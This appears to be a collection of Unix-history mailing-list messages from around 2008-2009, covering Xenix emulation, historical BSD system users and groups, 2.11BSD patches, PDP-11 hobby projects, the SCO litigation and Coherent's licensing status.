NIC's... so even *if* you could find it..... it'd be limited. You can
get the disk to work though.... But not under Qemu, Virtual PC and
VMWare can use it.
The 'issue' is that simply Xenix's method of detecting disk density
doesn't work under any emulator because while it's trying the wrong
thing it will 'work' when it shouldnt...
if you are trying to load a 3 1/5" high density disk, the device is
2/60
Low density is
2/36
so change the device for fd0 to be either.... or even symlink it.
For what it's worth, running it under Virtual PC is fast, however the
console is kind of screwed up.. Xenix uses a nonstandard screen mode
(well for virtual pc's bios that is).
I used to have Microsoft Word for Xenix... in the box and everything.
I'll be dammed if I know where it is. I wish I had managed to keep the
license cards.... :|
And no, outside of a picture from an ad talking about the PDP-11
version of Xenix, and one anicdote in USENET saying that any issues
they had were traced back to Microsoft additions to the system...
there is no trace of it.
But then who knows, maybe someone will post back with something.
On Tue, Feb 10, 2009 at 1:08 PM, Lorenzo Gatti <gattilorenz(a)gmail.com> wrote:
> I know they won't release anything, but asking is never a bad thing.
> I saw the lisa and tandy versions, thank you. What I'm searching is
> the PDP-11 one,
> and I doubt I will find it easily. Do any of you have it?
> BTW, even the x86 version is not working well in emulators.
> Well, at least you cannot install it, but if you have a dd image of a
> working xenix system, this will boot fine in bochs/qemu.
> But you won't be able to use disks (at least images, never tried the
> real disks) to install new software, lol.
> So it's basically a closed system, if you don't connect it to another
> xenix (virtual?) machine via virtual serial port.
>
> 2009/2/10 Jason Stevens <neozeed(a)gmail.com>:
>> I doubt SCO/Microsoft will release anything.. but then you never know.
>> Do you have Xenix for the PDP-11? I've seen the lisa & Tandy 68000
>> floating around, but both used some custom MMU so that cut out
>> emulators... lol I haven't even bothered asking for source, as I
>> figured these v6/v7 things are basically lost in the mists of time...
>> but then there is v6/v7 for the Pdp-11/Interdata 32b & the recent port
>> of v7 to the i386 http://nordier.com/v7x86/index.html
>
Trying to understand some users and groups that continue to exist on BSD
systems.
Can someone please point me to references or share examples of historical
and/or recent uses of the following users and groups?
Also any clarifications of my understandings below would be appreciated.
(My context is BSD. I know some of these may have different old and
existing uses on other systems.)
daemon user
I see /var/msgs on NetBSD is owned by daemon. msgs will abort if doing -c
(cleanup) if not root or daemon user. I guess that is historic. I don't
see any daemon user usage.
operator user
I understand that historically, the operator user had logins
for those doing disk backups (via its login group privileges).
I understand the operator group, just wondering if any recent uses of
operator user.
bin user
Don't know what uses it.
daemon group
I understand that historically, these are for processes needing less
privileges than the wheel group. Also historically, programs using
/var/spool directories were setgid daemon. Anything common other than
LPD/LPR still use the daemon group?
sys group
I understand that historically, the sys group was used for access to the
kernel (/sys?) sources. (I don't know if that was just read or was for
writing too.) Anyone still use "sys" group? (I guess this is like wsrc
which sometimes I manually setup and use for writing to src directories.)
bin group
I understand that historically, used as the group for system binaries, but
commonly the wheel group is used instead. Some third-party software, like
OpenOffice.org, install files owned by the bin group.
staff group
How would this differ from wheel or operators?
Any recent systems actually have default use of this?
guest group
Any recent systems actually have default use of this?
nobody group versus nogroup group
What is the significance of having both of these groups?
Thanks!
My knowledge comes from my early days at Sun in 84-85 as a rock-n-roll roadie
turned into a UNIX sysadmin. It was passed to me as I was learning how to
take care of trade show Sun Workstations. So take it with a grain of salt.
> daemon user
daemon was for daemon processes that ran in the background but did not want to
run as root. I believe it was used by inetd when it spawned a process but an
not sure. It was also used by sendmail when it gave up its SUID root privileges.
> operator user
operator was a normal user that had privilege to read the raw file systems
through group membership. Sysadmins who did backups would also be a member of
this group. The group I recall in the early days was "kmem" although now
there is a separate group "disk".
> bin user
A user to go with group bin. Typically would be the "proper" owner of all the
binaries and libraries on a system. It has lingered on for far to long
because, IMHO, the vendors had no clue as to why everything was owned by bin
and just kept it that way since "thats the way it's always been".
> bin group
I was told that group bin came from UCB to allow semi-trusted staff to replace
binaries in the file system without giving them the root password.
> staff group
My recollection is that staff was for group read/write permissions for home
directories, separate from group wheel which granted extra privileges
> nobody group versus nogroup group
The nobody group was a group to go with the nobody user introduced with NFS.
nogroup may have been someone's attempt to make the name more obvious, or it
may have been for non-privileged account. But the second case weakens the
protection of a non-privileged account
I was poking around an HP UX system at work today, and noticed a
command I've never noticed before ... /usr/bin/bs.
I'm sure it's been there for a long time, even though I've been an
HPUX admin for more than a decade, sometimes I'm just blind ... but
anyway ....
I tried to search on google ... it looks like only HPUX, AIX, and
Maybe AU/X has it. Seems to be some kind of pseudo BASIC like
interpreter.
Anyone ever use it for anything? Has anyone even noticed it before?
I'll have to boot my Crimson to see if IRIX has it.
- Derrik
Derrik Walker v2.0, RHCE
lorddoomicus(a)mac.com
http://www.doomd.net
"There's nothing nice about Steve Jobs and there's nothing evil about
Bill Gates."
-- Chuck Peddle, MOS 6502 Chip Designer
A note to all 2.11bsd users:
Over the past 2 years several bug fixes for 2.11BSD accumulated, and over
xmas break I finally found the time to communicate them to Steven Schultz.
Steven was so kind to package them into two new patch files
446 issued December 27, 2008
447 issued December 31, 2008
Together, the patches address the following points
- ulrem.s: the unsigned long modulo operator (%) was broken in libkern
- umount: returned inverted exit codes (1 for success, 0 for failure)
- tar: core dumped when a whole /usr tree was archived
- tcsh: the time buildin function printed some erroneous or zero statistics
- ps: core dumped when '-t' option was used with no further argument
- apropos: core dumped when 2 or more arguments were given
- vmstat: wrong normalization for some fields
- several issues around the rk disk driver
- no rk root attach function
- no rk BOOTDEV support
- incorrect UCB_METER code (vmstat/iostat never showed any rk activity)
- autoconfig left the RK11 controller in an error state
- pstat: added additional options to access more kernel data structures
- new -c option, dumping the coremap
- new -m option, dumping the ub_map (UNIBUS map)
- new -b option, dumping the buffer pool table
- change -s output, gives now full table dump
- adapt the info's displayed by -T
- some documentation corrections (vmstat, pstat, tcsh)
Note: In case you wonder, as I did, why 211BSD survived 20 years with a
broken unsigned long % operator:
- only the non-FPP libkern implementation was affected
- the kernel simply doesn't have any unsigned long modulo's :)
- apparently only standalone mkfs after patch 434 was compromised
For the full story of all the above consult the header of the patch files.
The patch files are available from moe.2bsd.com and ftp.wx.gd-ais.com.
Note, that Steven changed the packaging some time ago, the patches are
now packed in bzip'ed tarballs in groups of ten patches. So you'll have
to look into
ftp://moe.2bsd.com/pub/2.11BSD/440-447.tar.bz2ftp://ftp.wx.gd-ais.com/pub/2.11BSD/440-447.tar.bz2
With best regards,
Walter Mueller
http://osxbook.com/software/ancientfs/
Amit Singh has added support for a whole bunch of early UNIX filesystem and
archive formats to FUSE.
Cheers,
Warren
John Cowan:
"Cannot yet" is good. Is there any hope of seeing the 10th Edition
emerge from the shadows, ever?
=======
Unless some energetic person skilled at nudging people in
a friendly way takes on the cause, probably not.
Even were Novell to release the source code to System V,
that wouldn't of itself make 10/e open, since there's plenty
in the latter system that differs substantially from the
former--all the really interesting bits, in fact. As has
been discussed here at some point in the past, someone would
have to get (updated list of players) Novell, AT&T, and Alcatel
all to agree to the release. The good news is that that would
probably mostly require getting Novell to agree that there's
nothing in the system worth protecting for commercial reasons,
and the others just to officially say what is already likely
true, that they don't care. The bad news is that that is
probably substantial work, as he who talked what was then SCO
into a hobbyist-source-license for 7/e and predecessors knows well.
But Warren has already gone far beyond the call in his work
(and cannot be thanked enough, so herewith I thank him yet
again); and I'm old and tired and was never really good at
talking to corporate types anyway; and in my humble but correct
opinion, it is the combination of energy and dedication and
ability to talk cheerfully to corporate times and to persist
without losing either hope or patience or cordiality that
is needed. That has always been a rare combination.
If someone thinks he or she has the requisite skills and wants
to have a go, I'll be glad to offer what little help I can,
and I'm sure Warren likewise. But somehow I wonder whether
it will actually happen before the world ends on 2038 January
18.
Norman Wilson
Toronto ON
John Cowan:
> Does this depend heavily on OS X, or should it work on Linux and BSD as well?
Warren Krun Toomey:
No idea. I had a brief look at some of the code on the web site and it seems
relatively neutral, but I have not downloaded it yet. I've sent an e-mail
with the same question to Amit.
======
I keep meaning to poke about at FUSE, since it plays more or
less the role of the file-server-implementation library setup
I wrote for my own purposes 20 years ago (in the context of a
UNIX variant that cannot yet be distributed freely).
But I'd be surprised if the stuff was terribly MacOS X dependent.
Certainly FUSE exists in Linux, and the libraries and requisite
kernel module are even included in some Linux distributions
(notably recent editions of Fedora), because sshfs is built atop
FUSE.
Norman Wilson
Toronto ON
Bit of digging:
> 1. "bs" was written at AT&T, probably at the Labs, at some time between
> the release of 32V and System III. It was part of both System III and
> at least some System V releases.
And of course it is in TUHS! Remember we have 32V and SIII. For example,
look into
TUHS/Other/Distributions/Plexis_Sys3/
or
TUHS/PDP-11/Distributions/usdl/SysIII/
The sources contain 'bs' under cmd/bs
The latter one (under USDL) contains also the man page under usr/src/man/man1
(as 'bs.1').
So, there. You have it.
This leads me to consider we would greatly benefit from an expanded and
indexed TUHS repository tree. I made one on my mirror long ago, but a
series of disk crashes ended with it. Maybe, if there is interest I
could do it again.
j
--
EMBnet/CNB
Scientific Computing Service
Solving all your computer needs for Scientific
Research.
http://bioportal.cnb.csic.eshttp://www.es.embnet.org
Dear all,
(This has got to be the strangest cross-post I've ever done.)
I have just taken a bet from a friend to challenge my geekiness. I was
telling him about my love of Vintage Technology and he proposed that I
combine two hitherto separate hobbies and see what happens. The
topics: the DEC PDP-11 minicomputer (vintage: 1970s) and vacuum-tube
ham radios (vintage: 1960s). I do sincerely apologize for
cross-posting, but I am rather younger than either of these
technologies (vintage: 1984) and this seems like a monumental
challenge.
My question for y'all: how could I possibly design+build a project
that uses both of these technologies? My thought is to port some radio
receiver Digital Signal Processing (DSP) application into PDP-11
assembler, compile and run it via emulator on my PC, then use it with
the vacuum-tube regenerative receiver that I built a few years ago...
Does anybody know if PDP-11 UNIXes even had the capability for a
"sound card"? Or, to get ambitious, I would LOVE to design some
interface circuitry between PDP-11 digital circuitry and vacuum-tube
electronics... The challenges are legion: the tube side of the circuit
operates around 350V DC levels with radio-frequency (RF) signals at 7
MHz (almost the clock rate of some PDP-11s!) and I don't have the DEC
Handbooks, but I'm pretty sure that even those ancient pre-TTL
circuits operate below 350V!
So... any, er, "ideas"?
Best regards,
Ross Tucker
Hey there,
I have two questions. First, does anyone have the original files from
the Seventh Edition boot tape? Second, does simh support tape
operations like writing file markers? No doubt you can see where I'm
headed with this. I want to attach the original boot tape and install
the original V7 tape onto simh.
Thanks,
Brantley Coile
I was bored, and ported my version of SimH (which is an older
version, but with some stuff ripped out, and other stuff put
in) to my operating system for my ARM-based MCU board. It
now "acts" like a regular 11/83 when turned on, and will
happily boot Ultrix-11 off the CF card :)
Not as fast as running on a peecee, not half as much fun as
running a real '11, but hey, it DOES fit into my backpack.
--f
-----Original Message-----
From: pups-bounces(a)minnie.tuhs.org [mailto:pups-bounces@minnie.tuhs.org] On Behalf Of Jochen Kunz
Sent: Thursday, December 11, 2008 6:15 PM
To: pups(a)minnie.tuhs.org
Subject: Re: [pups] PDP-11 / vacuum tube interface
On Wed, 10 Dec 2008 19:09:34 +0100
"Fred N. van Kempen" <fred.van.kempen(a)microwalt.nl> wrote:
> smiling @ his nano-11 system running Ultrix, all the size of
> a matchbox..
nano-11? Please elaborate.
--
tschüß,
Jochen
Homepage: http://www.unixag-kl.fh-kl.de/~jkunz/
_______________________________________________
PUPS mailing list
PUPS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/pups
> (This has got to be the strangest cross-post I've ever done.)
You've got that right :P
> I do sincerely apologize for
> cross-posting, but I am rather younger than either of these
> technologies (vintage: 1984) and this seems like a monumental
> challenge.
Well, several projects can be thought off in this scenario, but
if you want to keep it mildly useful, try to do something with
audio tubes connected to an '11 (OK, here's a spoiler: "you'll
make a PDP11-driven music player using a tube-based audio
backend"), or such. You could go into analog computing as
well, but that can be kinda hairy.
This more or less only requires building a usable D/A converter
on the '11, which then interfaces to the tubes. I'd use a DMA-
based 16-bit DA controller.
Cheers,
Fred (smiling @ his nano-11 system running Ultrix, all the size of
a matchbox..)
Back in the 1970's Paul Pierce used a D/A converter on a PDP-11 at the UW
Computer Systems Lab to generate music much like early PC sound cards did
-- by combining harmonics in various ratios. Although he happened to have
used RT-11, there is no reason why it could not be done under Unix. (The
UW Computer Systems Lab also had a Votrax).
So, sure, you could, with an A/D and D/A converter do something like
that. I am not sure that the various emulators have done emulation for A/D
or D/A, but in principle, it ought to be possible.
AC coupling (via a capacitor) of the input or output would remove any
concerns about the relatively high DC voltages. Besides, input signals
ordinarily come into the grids of vacuum tube circuits by way of a
transformer. Ditto for outputs from tube circuits.
Jay Jaeger
At 05:37 PM 12/9/2008 -0800, Carl Lowenstein wrote:
>On Tue, Dec 9, 2008 at 4:00 PM, Ross Tucker <rjtucke(a)gmail.com> wrote:
> > Dear all,
> > (This has got to be the strangest cross-post I've ever done.)
> >
> > I have just taken a bet from a friend to challenge my geekiness. I was
> > telling him about my love of Vintage Technology and he proposed that I
> > combine two hitherto separate hobbies and see what happens. The
> > topics: the DEC PDP-11 minicomputer (vintage: 1970s) and vacuum-tube
> > ham radios (vintage: 1960s). I do sincerely apologize for
> > cross-posting, but I am rather younger than either of these
> > technologies (vintage: 1984) and this seems like a monumental
> > challenge.
> >
> > My question for y'all: how could I possibly design+build a project
> > that uses both of these technologies? My thought is to port some radio
> > receiver Digital Signal Processing (DSP) application into PDP-11
> > assembler, compile and run it via emulator on my PC, then use it with
> > the vacuum-tube regenerative receiver that I built a few years ago...
> > Does anybody know if PDP-11 UNIXes even had the capability for a
> > "sound card"?
>
>Well, you could look at "Votrax" on Wikipedia. Allegedly, the first
>words spoken by a Unix system at Bell Labs, using its Votrax
>synthesizer, were "file not found".
>
>Things that are now known as "sound cards" were called A:D and D:A
>converters back in those days. And there were a fair variety of them
>available for both Unibus and Qbus systems.
>
> > Or, to get ambitious, I would LOVE to design some
> > interface circuitry between PDP-11 digital circuitry and vacuum-tube
> > electronics... The challenges are legion: the tube side of the circuit
> > operates around 350V DC levels with radio-frequency (RF) signals at 7
> > MHz (almost the clock rate of some PDP-11s!) and I don't have the DEC
> > Handbooks, but I'm pretty sure that even those ancient pre-TTL
> > circuits operate below 350V!
>
>The vacuum-tube circuits may be running from 350 VDC but somewhere
>there are low-level inputs from which everything is amplified. Think
>microphone.
>
> carl
>--
> carl lowenstein marine physical lab u.c. san diego
> clowenstein(a)ucsd.edu
>_______________________________________________
>PUPS mailing list
>PUPS(a)minnie.tuhs.org
>https://minnie.tuhs.org/mailman/listinfo/pups
---
Jay R. Jaeger The Computer Collection
cube1(a)charter.net
Sorry, this is a bit off-topic, but I'm not sure of anywhere better to
ask.
I used to have a number of HLH Orion machines, which were superminis
(they ran BSD 4.2 / 4.3) made in the UK in the 80s and very early
90s. A friend of mine still has some, which I suspect may be the last
ones extant, and a mass of documentation & media for them. He's
retiring soon and needs to find homes for them.
I think they're historically reasonably interesting machines - I
suspect they may have been almost the last significant British
computer design, and the earlier model was quite an interesting
machine, with user-programmable microcode &c (the later model was, I
think, not so interesting, if a lot faster).
Does anyone know of any museum-type places which might be able to
offer them a home? They are still working (we think, he needs to turn
them on). I'm thinking of approaching the Bletchley Park people, but
I'm wondering if anyone here has any better leads.
Thanks!
--tim
Hi all
the v7 rl02 dsk from archive , seems to be missing the /usr/sys , any ideas on how to restore it ? ,
also in the v7 as man page , there's reference to “unix assembler manual” by DMR , which I tried to locate without luck , the only thing available is the assembler reference manual , in v7 manual volume 2 , is it by any chance same documents under different name ? .
thanks in advance for the help
zmkm
_________________________________________________________________
Get more from your digital life. Find out how.
http://www.windowslive.com/default.html?ocid=TXT_TAGLM_WL_Home2_082008
About one year ago I found installation tapes for System III for the VAX
somewhere on the Net. Unfortunately I can't find the original URL on disk
any longer, neither on my bookmarks and a Google search does not find
anything now.
The distribution is available as tap archives, and you can find it on
ftp://ftp.es.embnet.org/pub/misc/os/UNIX/sysIII
As four files.
My questions are:
- as this is the only copy I can find now on the Net, would it
make sense to save it also on TUHS and mirrors?
- the tap tools do not seem to recognize contents (dtp seems to
identify the first file) and I am currently too busy to further investigate.
Could someone with spare time have a look at them?
- a strings of tape1/set1 seems to reveal that it only supports
an RP06 at NEXUS 8 and a TE16 at NEXUS 9. Could someone with more time
have a try at them using SIMH?
Thanks.
j
--
These opinions are mine and only mine. Hey man, I saw them first!
José R. Valverde
De nada sirve la Inteligencia Artificial cuando falta la Natural
Jose R. Valverde wrote:
I don't believe anybody sane would engage in deceptive action at that
level consciously with such big players as IBM. From all the history
of the cases it seems rather that this is a case of a change of
management to unknowledgeable, ambitious managers who paid too much
attention to the UNIX department on the Company and then had to put
a straight face to defend what resulted to be an untenable position.
I am not going to comment on Darl's sanity.
I think that you will find that Darl's problem was paying too little attention to the people who actually understood what was going on, not paying too much attention.
He certainly didn't appear to pay much attention to this:
http://www.groklaw.net/pdf/IBM-459-22.pdf
Try to put yourself in Darl's place: you make a decision based on the
promises of some head of department and sue IBM and the world. Then
little by little your move is proven wrong. What can you do? Yes,
say sorry, close the company, fire all workers and get punished for
admitting to a scam. Or you can put a straight face, defend that you do actually believe the unbelievable -and look as a stupid instead- and try to save the company, the workers and your skin
until you can find someone else to take the hot potato.
I think that it was more a case of suing IBM and the world based on what you (at the time) sincerely believed and hoped *must* have happened, and then spending several years and legal theories unsuccessfully trying to find any evidence for it.
Don't let your bad experience with Microsoft spread to all vendors. Some
have managed a long history of delivering on their promises, and Caldera
at the time was one such.
Personally, I think if they had stuck to Ransom Love and endured the
harsh times for a couple of years until the "boom" of Linux they would
have managed a lot better. Not to mention they could have unified UNIX
at last. But there's no way to know now.
One promise that, at the time, Caldera had never delivered on was making a profit.
Caldera did some good things in the Linux world but they were a distinctly second tier player.
Their decision to buy SCO' s UNIX business was a bad one, based largely on emotion not on good business sense (I know this, because I was one of the people that helped sell it to them).
At the time Caldera had no revenue stream but still had some cash from their IPO, SCO had a rapidly declining revenue stream, and bunch of mostly 10 to 15 year old technology which was still in reasonable shape but which wasn't going anywhere. Somehow (with SCO's help) Ransom Love convinced himself that the deal made sense and that (most important of all, because it appealed to his ego) he could succeed where everyone else had failed and somehow unite UNIX and Linux and build a successful business out of it.
Sadly none of that turned out to be true and, had Ransom Love stayed as CEO I suspect that the company would have been out of business by the end of 2003 at the latest.
md
> From: "Jose R. Valverde" <jrvalverde(a)cnb.csic.es>
>
> Following up to recent questions about whether OpenSolaris might be jeopardized
> if SCO didn't have the rights to provide the license, I see that judge Kimball
> has ruled on the case, and in discussing its ruling, he mentions the agreement
> between SCO and Sun.
>
> Particularly he mentions:
>
> > Section 10 of the 2003 Sun Agreement also sets forth SCO's obligation
> > to indemnify Sun for any claim brought against Sun asserting that the
> > Section 4 licensed technology infringes the rights of any third parties.
> > Section 10 further provides that if the intellectual property rights
> > in the technology become the subject of a claim of infringement, SCO
> > shall ensure that Sun has the right to continue to use the technology
> > or replace the technology to make it non-infringing. The provision has
> > not been implicated or applied.
>
> I have to change my opinion on SCO to consider them now UNIX zealots. As
> I read it, I guess Sun was worried by possibly non-ATT code in SVRX, and
> may be by Novell's assertions, so they shielded themselves: if I'm not
> wrong that means OpenSolaris is safe and the responsibility for that relies
> totally on SCO.
You guess Sun was worried about non-ATT code in SVRX? No quite. The SVRX
code in Solaris (if any; and certainly there is plenty) is certainly 100%
ATT-derived, and any non-ATT code in the SVRX code that The SCO Group
passed on to Sun had (by a mere matter of time) to be added to SVRX
after ATT relinquished the original SVRX code and quite after Solaris
branched out of the UNIX System V Release 4, and therefore any non-ATT
(or non-ATT-licenseable) code inside The SCO Group's SVRX certainly is
not inside Solaris, so no worries there.
You forget the The SCO Group was fully engaged in a total FUD campaign,
whose ultimate goal was to cut off Linux support in the Enterprise via
fear, uncertainty and doubt, and whose collateral goal was to make
plenty of money selling bogus Linux licenses and suing everybody in
sight (IBM and The SCO Group's own customers, of course).
Sun needed desperately to find a way to stop losing money, and that
meant making themselves again desirable to the IT market. Sun mayor
rivals were (and are) Microsoft and Linux. Specially Linux, since more
Sun machines are being replaced by Linux than by Windows. So the Sun
strategy was two-fold: release an "opensource" Unix to "steal" the
grassroots support away from Linux, and give money to The SCO Group
so they could keep afloat their FUD campaign against Linux in the
Enterprise. If they could achieve these two goals with one swift move,
much better; and they did: the gave money to The SCO Group to buy a
bogus license to opensource Solaris.
> SCO thus was willing to take any risks regarding third parties with respect
> to opening up SVRX derived Solaris. That was very bold and valiant
Your ingenuity here is shocking.
> My guess is they were for opening SVRX as a way to increase market share
> of UNIX against LINUX but preferred Sun to open _their_ version instead of
> opening SCO's own. At the same time they must have thought that a combined
> attack on Linux would drive most people off Linux towards opensource UNIX
> and that corporate interests would prefer SCO's closed Unixware to Sun's
> open source solution in line with tradition.
Ridiculous. With Solaris the Enterprise has a growth path to big iron.
With UnixWare the Enterprise has a "growth" path from the PC to a bigger
PC.
> Thus SCO move benefits them twice as now they have two open source OSes,
> and should any contributor to SVRX code complain of the open sourcing
> SCO would have to take the blame and has already assumed all
> responsibility.
So, what two "opens source" OSes does The SCO Group have? "Open"-Server
and "Open"-Unix (aka Unixware)? Amazing!
> BTW, nobody seems to have complained about portions of SVRX contributed
> code being in opensolaris, so maybe nobody cared anyway
Nobody cares about OpenSolaris. If you are going to go with Solaris,
open or not, you are going to be paying much more for year-on-year
support to the vendor than the Solaris license costs, so whether it is
open o not is moot for the Enterprise.
> In any case, we
> now know SCO has assumed the defense of OpenSolaris, which is a great
> thing to know.
I do not see it like that at all. The SCO Group has afforded SUN
indemnification in the eventual case the license they sold to them gets
shot, as it is going to happen unless Novell gets its money, either from
the now-bankrupt The SCO Group or from SUN itself (second payment for
the same thing, funny deal there!).
The question here is: the indemnification The SCO Group offered SUN
weights less than smoke: What indemnification can you get from a bankrupt
company? None, that is the answer.
> Or may be they didn't want to but needed so badly Sun's money to follow
> their lawsuit against IBM that they were willing to sell their souls
> (and IP) in the hope of a big win against IBM. Who knows?
That interpretation is much closer to the truth. Except they didn't sell
"their IP", as The SCO Group had none of UNIX copyrights, none of UNIX
IP, they just bought from Novell the UNIX distribution business, but
not the UNIX IP.
> One thing is certain, Caldera/SCO should be thanked for allowing opening
> of so much ancient -and modern- UNIX source code. Their war against Linux
> OTOH is another issue.
Caldera/The SCO Group did no have just title to change the license on the
intellectual property they did not own and which they were not allowed to
re-license with different terms under the "Assets Purchase Agreement"
signed between Caldera and Novell. Therefore, any and all relicensing
done by Caldera of ancient or modern UNIX code is void and null. Unless
Novell comes after the fact and endorses such open-sourcing. Absent Novell
action, The SCO Group actions changing the UNIX license are void.
Novell action in that sense has not happened up to the day of today.
> From: "Gregg C Levine" <hansolofalcon(a)worldnet.att.net>
>
> It would not have impacted any version of Solaris, including the Open one.
> And why you are asking? I am glad you asked. It seems that according to the
> good people at the Sun offices here in the City, that by the time version 9
> was released, that the code base was completely rewritten, and contains
> absolutely nothing from BSD, and most certainly nothing from the original
> creators of UNIX.
That's not saying much. The original creators of UNIX wrote it in assembly
for the PDP-11. Nothing of that is in Solaris, that's true. And BSD is
open-source and legally close-able anytime, so no argument there either.
Now, if "the good people at the Sun offices" are trying to imply there
in no Unix System V code in Solaris, they are lying. Period.
> From: Boyd Lynn Gerber <gerberb(a)zenez.com>
>
> Caldera/SCO was trying to get everything opensourced. They released
> OpenUNIX 8.0 which was UnixWare 7.1.2.
What? Care to show proof? What do you mean by the mention of "OpenUNIX"
in the same paragraph where you say "SCO was trying to get everything
opensourced"? That "OpenUNIX" is proof of the "opensourcing" done at
The SCO Group?
What??
> They had reached an agreement with
> every one and were about to release everything a the big expo in Jan/Feb
> east cost. It was to be a joint IBM/SCO announcement, when IBM suddenly
> decided against it and were addamanly now doing everything to stop it.
Those are not verifiable facts. Rumors and hearsay make no history.
> I am grateful to SCO for their attempt to make UnixWare/OpenUNIX
> opensource. I just wish it had succedded.
What attempts? Vaporware is nothing to be grateful about.
--
Pepe
pepe(a)naleco.com
Following up to recent questions about whether OpenSolaris might be jeopardized
if SCO didn't have the rights to provide the license, I see that judge Kimball
has ruled on the case, and in discussing its ruling, he mentions the agreement
between SCO and Sun.
Particularly he mentions:
> Section 10 of the 2003 Sun Agreement also sets forth SCO's obligation
> to indemnify Sun for any claim brought against Sun asserting that the
> Section 4 licensed technology infringes the rights of any third parties.
> Section 10 further provides that if the intellectual property rights
> in the technology become the subject of a claim of infringement, SCO
> shall ensure that Sun has the right to continue to use the technology
> or replace the technology to make it non-infringing. The provision has
> not been implicated or applied.
I have to change my opinion on SCO to consider them now UNIX zealots. As
I read it, I guess Sun was worried by possibly non-ATT code in SVRX, and
may be by Novell's assertions, so they shielded themselves: if I'm not
wrong that means OpenSolaris is safe and the responsibility for that relies
totally on SCO.
SCO thus was willing to take any risks regarding third parties with respect
to opening up SVRX derived Solaris. That was very bold and valiant (though
seeminglymay be wrong) from them. Why they decided to allow open sourcing
via Sun instead of Unixware is their choice. I guess they thought it would
play better for them to sell a 'closed' Unixware as an 'enhanced' or 'better
product' than open solaris. It also fits within Caldera's previous opening
other ancient UNIX.
My guess is they were for opening SVRX as a way to increase market share
of UNIX against LINUX but preferred Sun to open _their_ version instead of
opening SCO's own. At the same time they must have thought that a combined
attack on Linux would drive most people off Linux towards opensource UNIX
and that corporate interests would prefer SCO's closed Unixware to Sun's
open source solution in line with tradition.
But then comes the last sentence: the issue of opensolaris damage to the
closedness of SVRX was not brought up at trial. May be it wasn't the time
and place, or may be Novell reasoned that it does not matter to them to
offer one open source system (linux) or other (solaris). I'd also guess
given Novell involvement in SuSE that they would have liked to open
SVRX all along but didn't dare to because of possible complains by
existing licensees (like IBM or HP) who might see their licenses as
oblivious, and -most probably- because it was never very clear whether
all code could be open or belonged to them (sort of like Linux going to
GPL3: it's difficult to identify all contributors and ask their permission).
Thus SCO move benefits them twice as now they have two open source OSes,
and should any contributor to SVRX code complain of the open sourcing
SCO would have to take the blame and has already assumed all
responsibility.
BTW, nobody seems to have complained about portions of SVRX contributed
code being in opensolaris, so maybe nobody cared anyway, but it might
also be that they were waiting to see the case unravel. In any case, we
now know SCO has assumed the defense of OpenSolaris, which is a great
thing to know.
My kudos to SCO. They were bolder than I thought. Even if -IMHO- their
strategy against Linux was misled, their willingness to support open
solaris deserves respect.
Or may be they didn't want to but needed so badly Sun's money to follow
their lawsuit against IBM that they were willing to sell their souls
(and IP) in the hope of a big win against IBM. Who knows?
One thing is certain, Caldera/SCO should be thanked for allowing opening
of so much ancient -and modern- UNIX source code. Their war against Linux
OTOH is another issue.
j
--
These opinions are mine and only mine. Hey man, I saw them first!
José R. Valverde
De nada sirve la Inteligencia Artificial cuando falta la Natural
> Are there any legal issues with this or since the company closed down
> its all well and good ?
I've been researching it for some time... At one point you could download
Coherent from ftp.mayn.de which contained a note saying it was OK and that the
sources had been released publicly. I firmly remember seeing that note
long ago. Many others seem to have seen the note and to remember it. But of
course my memory might be deluding me.
The problem is that ftp.mayn.de went down on 2004 and the original archive
was lost. The only copies that survived were the ones at Demon and unixarchive
which contained additional materials but lacked the original release message.
The problem composited when some German? company bought the rights to the
manual and started asking sites to take the mirrors down.
At the time, I remember I had lost my own copy (I'm still looking around on
old disks for it to see if I can recover that notice), but hadn't cared much
because of the existence of the main site. When that was wiped, the copies
at demon and tliquest begot prominence as the only remains. The notice lost
meant that some people started questioning it. Nowadays, some people is
trying to get it released again as open source with a clear statement
(see comp.os.coherent), Andrzej Popielewicz leading the initiative. It
seems all rights to Coherent reverted to Robert Swartz after MWC disappeared:
> On Mar 31, 8:10 pm, Oliver White <sil...(a)callysto.com> wrote:
>
> > On Mon, 26 Mar 2007 22:26:55 +0200, Markus E Leypold wrote:
> > > A bit difficult to get written permission from an entity that doesn't
> > > exist and Bob Swartz who wasn't really reachable for some time (and
> > > still seems not to be able to make up his mind on the question of a
> > > hobbyist license).
>
> > I was talking to Randall Howard a few days ago and he said that the
> > copyright was sold to Ron Lachman for $30 000. Apparently MWC never
> > bankrupted, simply was shut down because it was loosing too much money.
>
> There been a few posting about the status of the copyrights of
> Coherent and what the status of the assets of Mark Williams Company,
> perhaps I can clarify things.
>
> Mark Williams Company ceased operations and its assets became the
> property of its bank. These assets which included the copyrights to
> all Mark Williams Company's software were subsequently sold to
> Kinetech. I was the person who managed these assets for Kinetech.
> Early this year Kinetech sold all assets of Mark Williams to Open
> Coherent LLC. A company of which I am the manager. The copyrights in
> Coherent remain and are the property of Open Coherent LLC. At this
> point in time we are working on how to making Coherent more generally
> available and there should be more news on this shortly. If there are
> any questions about Coherent or its copyrights I would be happy to
> respond to them.
>
> Thanks,
>
> Robert Swartz
>
Problem is that I can find no trace of said company on Google or Yahoo.
Andrezj claims to have permission to distribute it for personal use, and
has an updated version, 4.2.10ap of the kernel.
He claims
> If You have purchased Coherent , You can of course still use it.
> Otherwise the only authorized(by the owner) versions of Coherent kernel
> can be legally downloaded(but not redistributed), but only for
> noncommercial use , from
>
> http://main2.amu.edu.pl/~apopiele/embed.html
>
> There You will find
> a)rescue floppy package for those , who have problems with installing
> their Coherent 4.2.10 on newer systems
> b) patched (by me) Coherent 4.2.10ap kernel, with support for 64/128MB
> RAM. Originally Coherent 4.2.x supports 16 MB only
>
> Of course You can download legally GNU/GPL/Xfree stuff from
> http://www.tuhs.org , for example X-windows 1.2 or gcc 2.56 etc, which
> was once available for free download from MWC.
> As far as sources/binaries of Coherent available at tuhs, well I do not
> know. The owner knows about it, but he did not comment.
>
> The last sold version of Coherent was 4.2.12. The version 4.2.14 was in
> development phase.
>
> OpenCoherent license is in preparation, but I cannot estimate how long
> will it take.
>
> Andrzej
>
The notice remaining on demon is dated 1995, and things had changed a lot
in one decade:
From Aaron Swartz site (http://www.aaaronsw.com/history/2001) I see
> Sites I Host
>
> * ChicagoForce.org - Star Wars fans unite!
> * OpenCoherent.com - YAOSOS (Yet Another Open-Source Operating System).
> * SwartzFam.com - The Swartz Family Server.
Which supports my memories of Coherent having been released as Open Source.
The Internet Archive contains only two pages of opencoherent.com dated Apr
22, 2001 and May 18, 2001, but both of them contain only
> OpenCoherent
